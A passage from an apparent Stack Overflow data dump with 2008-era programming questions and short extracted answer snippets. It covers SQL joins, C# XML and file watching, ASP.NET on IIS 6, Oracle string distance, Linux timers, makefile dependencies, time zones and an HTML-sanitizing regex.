href="http://msdn.microsoft.com/en-us/library/system.windows.forms.tablelayoutpanel.aspx" rel="nofollow noreferrer"><code>TableLayoutPanel</code></a>?</p>
[ { "answer_id": 240004, "author": "Mark Heath", "author_id": 7532, "author_profile": "https://Stackoverflow.com/users/7532", "pm_score": 0, "selected": false, "text": "RowStyle tableLayoutPanel1.RowStyles.Add" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239938", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12597/" ]
239,945
<p>I'm creating a really complex dynamic sql, it's got to return one row per user, but now I have to join against a one to many table. I do an outer join to make sure I get at least one row back (and can check for null to see if there's data in that table) but I have to make sure I only get one row back from this outer join part if there's multiple rows in this second table for this user. So far I've come up with this: (sybase)</p> <pre><code>SELECT a.user_id FROM table1 a ,table2 b WHERE a.user_id = b.user_id AND a.sub_id = ( SELECT min(c.sub_id) FROM table2 c WHERE b.sub_id = c.sub_id ) </code></pre> <p>The subquery finds the min value in the one to many table for that particular user.</p> <p>This works but I fear nastiness from doing correlated subqueries when table 1 and 2 get very large. Is there a better way? I'm trying to dream up a way to get joins to do it, but I'm not seeing it. Also saying "where rowcount=1" or "top 1" doesn't help me, because I'm not trying to fix the above query, I'm ADDING the above to an already complex query.</p>
[ { "answer_id": 240040, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 0, "selected": false, "text": "select a.user_id \nfrom table1 a\nwhere exists (select null from table2 b \n where a.user_id = b.user_id \n )\n" }, { "answer_id": 240101, "author": "Dónal", "author_id": 2648, "author_profile": "https://Stackoverflow.com/users/2648", "pm_score": 1, "selected": false, "text": "select *\nfrom foo\nwhere bar = 1\nlimit X;\n" }, { "answer_id": 240153, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 0, "selected": false, "text": "select a.user_id \nfrom table1 a, table2 b \nwhere a.user_id = b.user_id \nand b.sub_id = (select min(c.sub_id) \n from table2 c \n where b.user_id = c.user_id)\n select a.user_id \nfrom table1 a\nleft outer join table2 b on a.user_id = b.user_id \nwhere b.sub_id = (select min(c.sub_id) \n from table2 c \n where b.user_id = c.user_id)\n" }, { "answer_id": 240240, "author": "Tom H", "author_id": 5696608, "author_profile": "https://Stackoverflow.com/users/5696608", "pm_score": 1, "selected": false, "text": "SELECT\n a.user_id, b.*\nFROM\n dbo.Table_1 a\nLEFT OUTER JOIN dbo.Table_2 b ON b.user_id = a.user_id AND b.sub_id = a.sub_id\nLEFT OUTER JOIN dbo.Table_2 c ON c.user_id = a.user_id AND c.sub_id < b.sub_id\nWHERE\n c.user_id IS NULL\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239945", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12386/" ]
239,951
<p>For example for the following XML</p> <pre><code> &lt;Order&gt; &lt;Phone&gt;1254&lt;/Phone&gt; &lt;City&gt;City1&lt;/City&gt; &lt;State&gt;State&lt;/State&gt; &lt;/Order&gt; </code></pre> <p>I might want to find out whether the XElement contains "City" Node or not. </p>
[ { "answer_id": 239963, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 7, "selected": true, "text": "bool hasCity = OrderXml.Elements(\"City\").Any();\n" }, { "answer_id": 239969, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 2, "selected": false, "text": "from x in XDocument\nwhere x.Elements(\"City\").Count > 0\nselect x\n" }, { "answer_id": 6420146, "author": "Mark", "author_id": 807738, "author_profile": "https://Stackoverflow.com/users/807738", "pm_score": 1, "selected": false, "text": "OrderXML.Elements(\"City\").Exists(x=>x.Name ==\"City\")" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239951", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,961
<p>If you have a class member that is <code>static</code> and <code>public</code>. Would you write <code>static public</code> or <code>public static</code>? I know they are the same. But is there some recommendation / best practice for writing this?</p>
[ { "answer_id": 239976, "author": "Stewart Johnson", "author_id": 6408, "author_profile": "https://Stackoverflow.com/users/6408", "pm_score": 4, "selected": false, "text": "public static" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239961", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1793417/" ]
239,981
<p>I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read <a href="http://msmvps.com/blogs/omar/archive/2008/06/30/deploy-asp-net-mvc-on-iis-6-solve-404-compression-and-performance-problems.aspx" rel="nofollow noreferrer">Omar's post</a> and several others on the web and tried their solutions but no luck so far.</p> <p>The home page opens without a problem on IIS 6 but others 404 and the site runs well on IIS 7.</p> <p>Has anybody deployed asp.net mvc beta to IIS 6 with success? If so, what adjustments did you need to make to the code and/or IIS settings to get it to work?</p>
[ { "answer_id": 240327, "author": "Guy", "author_id": 1463, "author_profile": "https://Stackoverflow.com/users/1463", "pm_score": 6, "selected": true, "text": "aspnet_isapi.dll" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239981", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1463/" ]
239,988
<p>I need to setup an application that watches for files being created in a directory, both locally or on a network drive.</p> <p>Would the <code>FileSystemWatcher</code> or polling on a timer would be the best option. I have used both methods in the past, but not extensively. </p> <p>What issues (performance, reliability etc.) are there with either method? </p>
[ { "answer_id": 240048, "author": "Brent Rockwood", "author_id": 31253, "author_profile": "https://Stackoverflow.com/users/31253", "pm_score": 5, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240053, "author": "Jon Norton", "author_id": 4797, "author_profile": "https://Stackoverflow.com/users/4797", "pm_score": 3, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240070, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240084, "author": "Jim", "author_id": 681, "author_profile": "https://Stackoverflow.com/users/681", "pm_score": 4, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240086, "author": "PersistenceOfVision", "author_id": 6721, "author_profile": "https://Stackoverflow.com/users/6721", "pm_score": 3, "selected": false, "text": "FileSystemWatcher FileSystemWatcher FileSystemWatcher" }, { "answer_id": 35416745, "author": "Rahul Uttarkar", "author_id": 3016043, "author_profile": "https://Stackoverflow.com/users/3016043", "pm_score": 1, "selected": false, "text": "class Program\n{ \n\n static void Main(string[] args)\n {\n string SourceFolderPath = \"D:\\\\SourcePath\";\n string DestinationFolderPath = \"D:\\\\DestinationPath\";\n FileSystemWatcher FileSystemWatcher = new FileSystemWatcher();\n FileSystemWatcher.Path = SourceFolderPath;\n FileSystemWatcher.IncludeSubdirectories = false;\n FileSystemWatcher.NotifyFilter = NotifyFilters.FileName; // ON FILE NAME FILTER \n FileSystemWatcher.Filter = \"*.txt\"; \n FileSystemWatcher.Created +=FileSystemWatcher_Created; // TRIGGERED ONLY FOR FILE GOT CREATED BY COPY, CUT PASTE, MOVE \n FileSystemWatcher.EnableRaisingEvents = true;\n\n Console.Read();\n } \n\n static void FileSystemWatcher_Created(object sender, FileSystemEventArgs e)\n { \n string SourceFolderPath = \"D:\\\\SourcePath\";\n string DestinationFolderPath = \"D:\\\\DestinationPath\";\n\n try\n {\n // DO SOMETING LIKE MOVE, COPY, ETC\n File.Copy(e.FullPath, DestinationFolderPath + @\"\\\" + e.Name);\n }\n catch\n {\n } \n }\n}\n class Program\n{\n static string IsSameFile = string.Empty; // USE STATIC FOR TRACKING\n\n static void Main(string[] args)\n {\n string SourceFolderPath = \"D:\\\\SourcePath\";\n string DestinationFolderPath = \"D:\\\\DestinationPath\";\n FileSystemWatcher FileSystemWatcher = new FileSystemWatcher();\n FileSystemWatcher.Path = SourceFolderPath;\n FileSystemWatcher.IncludeSubdirectories = false;\n FileSystemWatcher.NotifyFilter = NotifyFilters.LastWrite; \n FileSystemWatcher.Filter = \"*.txt\"; \n FileSystemWatcher.Changed += FileSystemWatcher_Changed;\n FileSystemWatcher.EnableRaisingEvents = true;\n\n Console.Read();\n } \n\n static void FileSystemWatcher_Changed(object sender, FileSystemEventArgs e)\n {\n if (e.Name == IsSameFile) //SKIPS ON MULTIPLE TRIGGERS\n {\n return;\n }\n else\n {\n string SourceFolderPath = \"D:\\\\SourcePath\";\n string DestinationFolderPath = \"D:\\\\DestinationPath\";\n\n try\n {\n // DO SOMETING LIKE MOVE, COPY, ETC\n File.Copy(e.FullPath, DestinationFolderPath + @\"\\\" + e.Name);\n }\n catch\n {\n }\n }\n IsSameFile = e.Name;\n }\n}\n" }, { "answer_id": 51789265, "author": "spludlow", "author_id": 8815031, "author_profile": "https://Stackoverflow.com/users/8815031", "pm_score": 2, "selected": false, "text": "private void Watcher_Created(object sender, FileSystemEventArgs e)\n{\n Task.Run(() => MySubmit(e.FullPath));\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239988", "https://Stackoverflow.com", "https://Stackoverflow.com/users/343/" ]
240,012
<p>This is a follow-up to a previous question I had about interfaces. I received an answer that I like, but I'm not sure how to implement it in VB.NET.</p> <p>Previous question:</p> <p><a href="https://stackoverflow.com/questions/239909/should-this-property-be-part-of-my-objects-interface">Should this property be part of my object&#39;s interface?</a></p> <pre><code>public interface Foo{ bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;} } </code></pre> <p>How can I achieve this with the VB.NET syntax? As far as I know, my only option is to mark the property as ReadOnly (I cannot implement the setter) or not (I must implement the setter).</p>
[ { "answer_id": 240050, "author": "Martin Moser", "author_id": 24756, "author_profile": "https://Stackoverflow.com/users/24756", "pm_score": 1, "selected": false, "text": "Public Interface ICanBeSecure\n\n ReadOnly Property IsSecureConnection() As Boolean\nEnd Interface\n\nPublic Interface IIsSecureable\n Inherits ICanBeSecure\n\n Shadows Property IsSecureConnection() As Boolean\nEnd Interface\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240012", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
240,013
<p>I have two databases, one is an MS Access file, the other is a SQL Server database. I need to create a SELECT command that filters data from the SQL Server database based on the data in the Access database. What is the best way to accomplish this with ADO.NET?</p> <p>Can I pull the required data from each database into two new tables. Put these in a single Dataset. Then perform another SELECT command on the Dataset to combine the data?</p> <p>Additional Information: The Access database is not permanent. The Access file to use is set at runtime by the user.</p> <p>Here's a bit of background information to explain why there are two databases. My company uses a CAD program to design buildings. The program stores materials used in the CAD model in an Access database. There is one file for each model. I am writing a program that will generate costing information for each model. This is based on current material prices stored in a SQL Server database. </p> <hr> <p><strong>My Solution</strong></p> <p>I ended up just importing the data in the access db into a temporary table in the SQL server db. Performing all the necessary processing then removing the temporary table. It wasn't a pretty solution but it worked.</p>
[ { "answer_id": 629539, "author": "Mark Brackett", "author_id": 2199, "author_profile": "https://Stackoverflow.com/users/2199", "pm_score": 1, "selected": false, "text": " SELECT a.* \n FROM SqlTable \n JOIN OPENROWSET(\n 'Microsoft.Jet.OLEDB.4.0', \n 'C:\\Program Files\\Microsoft Office\\OFFICE11\\SAMPLES\\Northwind.mdb';'admin';'',\n Orders\n ) as b ON\n a.Id = b.Id\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240013", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18966/" ]
240,016
<p>I have created a class for a dashboard item which will hold information such as placement on the dashboard, description, etc. I am currently using a pair of Collections to hold those dashboard items contained in the "library" and those items showing on the dashboard itself. I have been asked to make this dashboard multi-tab, and my first inclination was to make a new Collection for each tab. For this I would want some type of array or collection which could have many of these dashboard item collections added to it as more tabs are added to the dashboard.</p> <p>Is this possible, and if so, could I get a little code snip for the declaration of such a collection? I have considered using a single collection with a variable to show which tab the item will be shown in... However, the display and routines to manage dashboard item movement between screen and library currently need those individual collections.</p> <p>Edit: Thank you for your answers. While I do find them all interesting I believe I am going to go with James solution and will be marking it as the accepted answer.</p>
[ { "answer_id": 240042, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 4, "selected": true, "text": "List< List<Placement>> ListofListOfPlacements = new List< List<Placement>> ();\n\nList<Placement> dashboard1 = new List<Placement>();\nList<Placement> dashboard2 = new List<Placement>();\nList<Placement> dashboard3 = new List<Placement>();\nList<Placement> dashboard4 = new List<Placement>();\n\nListofListOfPlacements.Add(dashboard1);\nListofListOfPlacements.Add(dashboard2);\nListofListOfPlacements.Add(dashboard3);\nListofListOfPlacements.Add(dashboard4);\n" }, { "answer_id": 240094, "author": "Hath", "author_id": 5186, "author_profile": "https://Stackoverflow.com/users/5186", "pm_score": 1, "selected": false, "text": "public class DashboardTabPage : TabPage\n{\n public List<DashboardItem> DashboardItems { get; set; }\n\n public DashboardTabPage() : this (new List<DashboardItem>())\n {\n\n }\n\n public DashboardTabPage(List<DashboardItem> items) :base (\"Dashboard Thing\")\n {\n DashboardItems = items;\n }\n\n}\n c.TabPages.Add(new DashboardTabPage());\n" }, { "answer_id": 240114, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "ILookup<,> ILookup<string, Foo> items = null; //TODO\n foreach (Foo foo in items[\"SomeTab\"])\n {\n Console.WriteLine(foo.Bar);\n }\n EditableLookup<,> var items = new EditableLookup<string, Foo>();\n items.Add(\"SomeTab\", new Foo { Bar = \"abc\" });\n items.Add(\"AnotherTab\", new Foo { Bar = \"def\" });\n items.Add(\"SomeTab\", new Foo { Bar = \"ghi\" });\n foreach (Foo foo in items[\"SomeTab\"])\n { // prints \"abc\" and \"ghi\"\n Console.WriteLine(foo.Bar);\n }\n EditableLookup<,> Enumerable.ToLookup" }, { "answer_id": 57409887, "author": "Shimmy Weitzhandler", "author_id": 75500, "author_profile": "https://Stackoverflow.com/users/75500", "pm_score": 0, "selected": false, "text": "List<(string Father, IEnumerable<string> Children)> var list = new List<(string Parent, IEnumerable<string> Children)>\n{\n (\"Bob\", new[] { \"Charlie\", \"Marie\" }),\n (\"Robert\", new[] { \"John\", \"Geoff\", \"Oliver\" }),\n};\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240016", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30838/" ]
240,022
<p>I have to generate two random sets of matrices Each containing 3 digit numbers ranging from 2 - 10 </p> <p>like that</p> <p>matrix 1: 994,878,129,121</p> <p>matrix 2: 272,794,378,212</p> <p>the numbers in both matrices have to be greater then 100 and less then 999</p> <p>BUT</p> <p>the mean for both matrices has to be in the ratio of 1:2 or 2:3 what ever constraint the user inputs </p> <p>my math skills are kind of limited so any ideas how do i make this happen?</p>
[ { "answer_id": 240089, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 1, "selected": false, "text": "s1= [ random.randint(100,999) for i in range(n) ]\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240022", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16458/" ]
240,033
<p>I'll preface this by saying that I usually work in C#/.Net.</p> <p>Normally, I use a naming scheme that puts common, reusable components into a namespace that reflects our organization and project-specific components into a namespace tied to the project. One of the reasons I do this is that I sometimes share my components with others outside my department, but within the organization. Project-specific namespaces are typically prefaced with the name or abbreviation of the department. When I reuse code between projects, I typically migrate it into one of the organization-based namespaces.</p> <p>For example:</p> <p><code>UIOWA.DirectoryServices</code> contains classes that deal with the specific implementation of our Active Directory.</p> <p><code>UIOWA.Calendar</code> contains classes that deal with the University's master calendar.</p> <p><code>LST.Inventory.Datalayer</code> holds the classes implementing the data layer of the Learning Spaces Technology group inventory application.</p> <p>I'm embarking on a project now for an entity that has a fuzzier connection to the Unviersity (a student group that runs a charity event) that has the potential to be sold outside of our University and, thus, it doesn't really fit into my normal naming conventions, i.e., the department is only the first customer of potentially many that might use the project.</p> <p>My inclination is to go the organization naming route and create an "organizational project" name space for this application. I'd like to hear how others handle this and any advice you might have.</p> <p>Thanks.</p> <p><strong>See also</strong> this related question about <a href="https://stackoverflow.com/questions/123114/how-do-you-organize-your-namespaces">namespace organization</a>.</p> <p><strong>EDIT</strong></p> <p>I ended up creating the org/project namespace <code>UIOWA.MasterEvent</code> and deriving further namespaces from there. Still interested in other opinions for future projects.</p>
[ { "answer_id": 240068, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 4, "selected": true, "text": "Toolbox" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240033", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12950/" ]
240,046
<p>I'd like to use Oracle's utl_match.edit_distance function. It supposed to compare two strings and return the <a href="http://en.wikipedia.org/wiki/Levenshtein_Distance" rel="nofollow noreferrer">Levenshtein distance</a>.</p> <pre><code>select utl_match.edit_distance('a','b') from dual </code></pre> <p>returns 1 as expected, but</p> <pre><code>select utl_match.edit_distance('á','b') from dual </code></pre> <p>returns 2. Obviously I'd like to get 1.</p> <p>It seems to be, it does not work correctly for special characters. I'm using Oracle 10.2.0.4 and AL32UTF8 character set.</p>
[ { "answer_id": 240356, "author": "Justin Cave", "author_id": 10397, "author_profile": "https://Stackoverflow.com/users/10397", "pm_score": 3, "selected": true, "text": "SQL> ed\nWrote file afiedt.buf\n\n 1 declare\n 2 l_char1 varchar2(1 char) := 'á';\n 3 l_char2 varchar2(1 char) := 'b';\n 4 begin\n 5 dbms_output.put_line(\n 6 'In AL32UTF8: ' ||\n 7 utl_match.edit_distance( l_char1, l_char2 ) );\n 8 dbms_output.put_line(\n 9 'In WE8ISO8859P15: ' ||\n 10 utl_match.edit_distance(\n 11 CONVERT( l_char1, 'WE8ISO8859P15', 'AL32UTF8' ),\n 12 CONVERT( l_char2, 'WE8ISO8859P15', 'AL32UTF8' ) ) );\n 13 dbms_output.put_line(\n 14 'In AL16UTF16: ' ||\n 15 utl_match.edit_distance(\n 16 CONVERT( l_char1, 'AL16UTF16', 'AL32UTF8' ),\n 17 CONVERT( l_char2, 'AL16UTF16', 'AL32UTF8' ) ) );\n 18* end;\nSQL> /\nIn AL32UTF8: 2\nIn WE8ISO8859P15: 1\nIn AL16UTF16: 1\n\nPL/SQL procedure successfully completed.\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240046", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21348/" ]
240,047
<p>In SQL Server, why is this:</p> <pre><code>[dbo].[table_name] </code></pre> <p>preferable to this:</p> <pre><code>dbo.table_name </code></pre> <p>And along those lines, why even list the dbo at all if there's only one schema?</p>
[ { "answer_id": 240060, "author": "Rune Grimstad", "author_id": 30366, "author_profile": "https://Stackoverflow.com/users/30366", "pm_score": 2, "selected": false, "text": "SELECT * FROM [Select] SELECT * FROM Select" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240047", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2147/" ]
240,058
<p>I need a timer tick with 1ms resolution under linux. It is used to increment a timer value that in turn is used to see if various Events should be triggered. The POSIX timerfd_create is not an option because of the glibc requirement. I tried timer_create and timer_settimer, but the best I get from them is a 10ms resolution, smaller values seem to default to 10ms resolution. Getittimer and setitimer have a 10 ms resolution according to the manpage.</p> <p>The only way to do this timer I can currently think of is to use clock_gettime with CLOCK_MONOTONIC in my main loop an test if a ms has passed, and if so to increase the counter (and then check if the various Events should fire).</p> <p>Is there a better way to do this than to constantly query in the main loop? What is the recommended solution to this?</p> <p>The language I am using is plain old c</p> <p><strong>Update</strong><br> I am using a 2.6.26 Kernel. I know you can have it interrupt at 1kHz, and the POSIX timer_* functions then can be programmed to up to 1ms but that seems not to be reliable and I don't want to use that, because it may need a new kernel on some Systems. Some stock Kernel seem to still have the 100Hz configured. And I would need to detect that. The application may be run on something else than my System :)</p> <p>I can not sleep for 1ms because there may be network events I have to react to.</p> <p><strong>How I resolved it</strong> Since it is not that important I simply declared that the global timer has a 100ms resolution. All events using their own timer have to set at least 100ms for timer expiration. I was more or less wondering if there would be a better way, hence the question.</p> <p><strong>Why I accepted the answer</strong> I think the answer from freespace best described why it is not really possible without a realtime Linux System.</p>
[ { "answer_id": 4723477, "author": "richard j. lee", "author_id": 579834, "author_profile": "https://Stackoverflow.com/users/579834", "pm_score": 1, "selected": false, "text": "HZ=1000 HZ=1000" }, { "answer_id": 4724088, "author": "Maxim Egorushkin", "author_id": 412080, "author_profile": "https://Stackoverflow.com/users/412080", "pm_score": 4, "selected": false, "text": "select() epoll() select() select() epoll() 1000 deviation samples of 1msec timer: min= -246115nsec max= 1143471nsec median= -70775nsec avg= 901nsec stddev= 45570nsec\n1000 deviation samples of 5msec timer: min= -265280nsec max= 256260nsec median= -252363nsec avg= -195nsec stddev= 30933nsec\n1000 deviation samples of 10msec timer: min= -273119nsec max= 274045nsec median= 103471nsec avg= -179nsec stddev= 31228nsec\n1000 deviation samples of 1msec timer: min= -144930nsec max= 1052379nsec median= -109322nsec avg= 1000nsec stddev= 43545nsec\n1000 deviation samples of 5msec timer: min= -1229446nsec max= 1230399nsec median= 1222761nsec avg= 724nsec stddev= 254466nsec\n1000 deviation samples of 10msec timer: min= -1227580nsec max= 1227734nsec median= 47328nsec avg= 745nsec stddev= 173834nsec\n1000 deviation samples of 1msec timer: min= -222672nsec max= 228907nsec median= 63635nsec avg= 22nsec stddev= 29410nsec\n1000 deviation samples of 5msec timer: min= -1302808nsec max= 1270006nsec median= 1251949nsec avg= -222nsec stddev= 345944nsec\n1000 deviation samples of 10msec timer: min= -1297724nsec max= 1298269nsec median= 1254351nsec avg= -225nsec stddev= 374717nsec\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6510/" ]
240,061
<p>I have a very large C project with many separate C files and headers and many dozens of contributors. Many contributors do not have a strong knowledge of makefiles and dependencies, resulting in the not uncommon problem where you almost always have to "make clean" before you can trust "make" to have produced correct output.</p> <p>If make took minutes, this wouldn't be an issue, but it's nearly 2 hours on a fast machine now, and people are starting to check in code that works when they make, but they don't clean first and their code ultimately breaks the build. Don't ask why these aren't caught by the build manager before a new baseline is cut...</p> <p>Yes, we shouldn't have let it go this far.</p> <p>Yes, we're educating our developers.</p> <p>As usual, we don't have time to stop everything and fix it by hand.</p> <p>I'm thinking there are tools along these lines:</p> <ul> <li>Are there automated tools to help build correct dependency information for an existing project from the C and H files?</li> <li>Are there automated tools to describe dependency information according to the makefiles?</li> <li>Is there a holy grail of a tool to describe the differences between the above two dependency trees?</li> </ul> <p>But what else can/should be done to resolve this issue?</p> <p>Thanks in advance...</p> <p>-Adam</p>
[ { "answer_id": 240085, "author": "Eli Courtwright", "author_id": 1694, "author_profile": "https://Stackoverflow.com/users/1694", "pm_score": 4, "selected": true, "text": "gcc -M" }, { "answer_id": 240624, "author": "JesperE", "author_id": 13051, "author_profile": "https://Stackoverflow.com/users/13051", "pm_score": 2, "selected": false, "text": "SOURCES=foo.c bar.c\n\n%.d: %.c\n $(CC) $(CFLAGS) -MM $< >$@ \n\ninclude $(SOURCES:.c=.d)\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240061", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2915/" ]
240,090
<p>We have a ASP.Net 2.0 web application up and running with the server in the Midwest (Eastern Standard Time). At this moment all of our customers are in the same time zone as the server. We are bringing another server online in Arizona (Mountain Standard Time).</p> <p>We are storing all our times in a SQL 2005 database via C# codebehind DateTime.UtcNow.</p> <p>During testing we encountered some time zone conversion issues. Our problem is that in the web browser our times are displaying the Mountain Standard Time instead of the time zone we are testing from which is Eastern Standard Time. </p> <p>When we enter new information it gets stored as UTC in the database, but when we go to view that info in the browser it is displaying the Mountain Standard Time. Below is the code which takes the UTC value from the database and displays it in the browser.</p> <pre><code>lblUpdatedDate.Text = Convert.ToDateTime(dr["UpdatedDate"]).ToLocalTime().ToString(); </code></pre> <p>The above code returns Mountain Standard Time where the server is, not Eastern Standard Time where the browser is running from. How do we get the time to display where the user is?</p>
[ { "answer_id": 240207, "author": "ScottCher", "author_id": 24179, "author_profile": "https://Stackoverflow.com/users/24179", "pm_score": 0, "selected": false, "text": "foreach (DataColumn dc in dt.Columns)\n{\n if (dc.DataType == typeof(DateTime))\n {\n dc.DateTimeMode = dateMode;\n }\n}\nSetAllDateModes(dt, DataSetDateTime.Unspecified);\n" }, { "answer_id": 29891554, "author": "Minh Nguyen", "author_id": 2491685, "author_profile": "https://Stackoverflow.com/users/2491685", "pm_score": 1, "selected": false, "text": "var dt = new Date();\nvar diffInMinutes = -dt.getTimezoneOffset();\n string queryStr = Request.QueryString[\"diffInMinutes\"];\nint diffInMinutes = 0;\nif (Int32.TryParse(queryStr, out diffInMinutes))\n{\n clientTime = serverTime.ToUniversalTime().AddMinutes(diffInMinutes);\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240090", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4096/" ]
240,098
<p>I'm using an HTML sanitizing whitelist code found here:<br> <a href="http://refactormycode.com/codes/333-sanitize-html" rel="nofollow noreferrer">http://refactormycode.com/codes/333-sanitize-html</a></p> <p>I needed to add the "font" tag as an additional tag to match, so I tried adding this condition after the <code>&lt;img</code> tag check </p> <pre><code>if (tagname.StartsWith("&lt;font")) { // detailed &lt;font&gt; tag checking // Non-escaped expression (for testing in a Regex editor app) // ^&lt;font(\s*size="\d{1}")?(\s*color="((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)")?(\s*face="(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)")?\s*?&gt;$ if (!IsMatch(tagname, @"&lt;font (\s*size=""\d{1}"")? (\s*color=""((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)"")? (\s*face=""(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)"")? \s*?&gt;")) { html = html.Remove(tag.Index, tag.Length); } } </code></pre> <p>Aside from the condition above, my code is almost identical to the code in the page I linked to. When I try to test this in C#, it throws an exception saying "<code>Not enough )'s</code>". I've counted the parenthesis several times and I've run the expression through a few online Javascript-based regex testers and none of them seem to tell me of any problems.</p> <p>Am I missing something in my Regex that is causing a parenthesis to escape? What do I need to do to fix this?</p> <p><strong>UPDATE</strong><br> After a lot of trial and error, I remembered that the <code>#</code> sign is a comment in regexes. The key to fixing this is to escape the <code>#</code> character. In case anyone else comes across the same problem, I've included my fix (just escaping the <code>#</code> sign) </p> <pre><code>if (tagname.StartsWith("&lt;font")) { // detailed &lt;font&gt; tag checking // Non-escaped expression (for testing in a Regex editor app) // ^&lt;font(\s*size="\d{1}")?(\s*color="((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)")?(\s*face="(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)")?\s*?&gt;$ if (!IsMatch(tagname, @"&lt;font (\s*size=""\d{1}"")? (\s*color=""((\#[0-9a-f]{6})|(\#[0-9a-f]{3})|red|green|blue|black|white)"")? (\s*face=""(Arial|Courier\sNew|Garamond|Georgia|Tahoma|Verdana)"")? \s*?&gt;")) { html = html.Remove(tag.Index, tag.Length); } } </code></pre>
[ { "answer_id": 240136, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "IsMatch Regex.IsMatch" }, { "answer_id": 240211, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 4, "selected": true, "text": "RegexOptions.IgnorePatternWhitespace if (!IsMatch(tagname,@\"<font(\\s*size=\"\"\\d{1}\"\")?\n (\\s*color=\"\"((\\#[0-9a-f]{6})|(\\#[0-9a-f]{3})|red|green|blue|black|white)\"\")?\n (\\s*face=\"\"(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)\"\")?\n \\s?>\"))\n{\n html = html.Remove(tag.Index, tag.Length);\n}\n" }, { "answer_id": 240296, "author": "Dan Finucane", "author_id": 30026, "author_profile": "https://Stackoverflow.com/users/30026", "pm_score": 1, "selected": false, "text": "face=\"Arial\" size=\"5\" face= \" \\ # \\ \\s RegexOptions.IgnorePatternWhitespace RegexOptions.IgnoreCase options <font\n(\\s+size=\\\"\\d{1}\\\")?\n(\\s+color=\\\"((\\#[0-9a-f]{6})|(\\#[0-9a-f]{3})|red|green|blue|black|white)\\\")?\n(\\s+face=\\\"(Arial|Courier\\sNew|Garamond|Georgia|Tahoma|Verdana)\\\")?\n #" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240098", "https://Stackoverflow.com", "https://Stackoverflow.com/users/392/" ]
240,102
<p>I'm developing an <code>ActiveX EXE</code> that exposes an specific class to a third-party software. This third-party software instanciates an object of this class and uses its methods. </p> <p>Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but I have no idea why this happens.</p> <p>The only clue I have is that this method is the only one that returns a value. All the other ones are simple 'subs' that do not return any value, and when they are called nothing wrong happens.</p> <p>I'm using VB6.</p> <p>Do you guys have any idea of why it's happening?</p>
[ { "answer_id": 240369, "author": "dummy", "author_id": 6297, "author_profile": "https://Stackoverflow.com/users/6297", "pm_score": 0, "selected": false, "text": "Global AGlobalVariable As Object\n Public Function GetFoo() As Object\n If AGlobalVariable Is Nothing then\n Set AGlobalVariable = ...\n End If \n Set GetFoo = AGlobalVariable\nEnd Function\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240102", "https://Stackoverflow.com", "https://Stackoverflow.com/users/431/" ]
240,122
